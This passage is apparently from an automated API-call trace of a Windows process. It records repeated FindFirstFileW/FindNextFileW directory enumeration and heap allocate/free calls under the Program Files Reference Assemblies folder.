lpFindFileData=0x32af584) returned 0x4280340 [0056.004] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0056.004] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0056.004] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42e3ed8 [0056.004] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned 57 [0056.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280400 [0056.004] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0056.004] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0056.004] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ee0 [0056.004] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned 62 [0056.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0x4280100 [0056.309] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.311] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.468] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.470] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.470] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ee0 | out: hHeap=0x690000) returned 1 [0056.472] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0056.590] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.590] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.591] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ee0 | out: hHeap=0x690000) returned 1 [0056.591] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0056.591] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0056.591] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0056.591] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0056.591] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0056.591] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.592] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.593] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.593] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.639] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.639] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.639] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.640] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.640] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.641] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.641] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.641] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.641] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.642] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.642] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.642] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.642] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.642] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.643] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.643] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.643] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.643] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.643] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.644] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.644] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.644] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.644] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.644] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.645] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.646] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.646] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.646] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.646] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.646] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.647] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.647] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.647] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.647] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.647] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.648] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.648] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.648] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.648] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.648] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.649] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.649] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.649] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.649] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.649] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.650] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.650] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.650] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.650] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.650] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.651] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.651] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.651] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.651] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.651] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.651] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.652] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.652] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.652] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.652] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.652] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.654] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.654] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.654] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.654] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.654] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.655] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0056.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.655] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0056.655] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0056.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.655] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.656] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0056.656] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0056.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0056.657] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0056.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.659] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.669] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.670] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.670] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.671] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.671] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.671] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.671] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.672] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.672] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.673] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.674] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.674] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.674] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.674] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.930] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.930] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0057.827] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0057.827] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0057.827] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0057.827] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0057.827] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0057.827] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0057.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0057.828] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0057.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0057.828] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0057.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0057.828] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0057.830] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0057.830] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0058.380] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0058.380] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0058.381] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.381] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0058.381] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0058.381] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0058.382] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0058.531] HeapFree (in: 